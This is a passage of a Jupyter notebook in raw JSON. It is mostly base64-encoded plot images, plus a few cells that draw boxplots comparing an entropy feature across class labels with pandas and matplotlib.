JqZN5R1uwPfAR7MzFWVtgcB3wIu\n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\n/HU3DVrRAAAAAElFTkSuQmCC\n", + "text": [ + "" + ] + } + ], + "prompt_number": 130 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### Next we compare the entropy." + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "df.boxplot('entropy', 'label')\n", + "plt.ylabel('Entropy')\n", + "plt.xlabel('')\n", + "plt.title('')\n", + "plt.suptitle('')" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "metadata": {}, + "output_type": "pyout", + "prompt_number": 131, + "text": [ + "" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "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\n8XhtbS0bGxtJkvX19eymWtt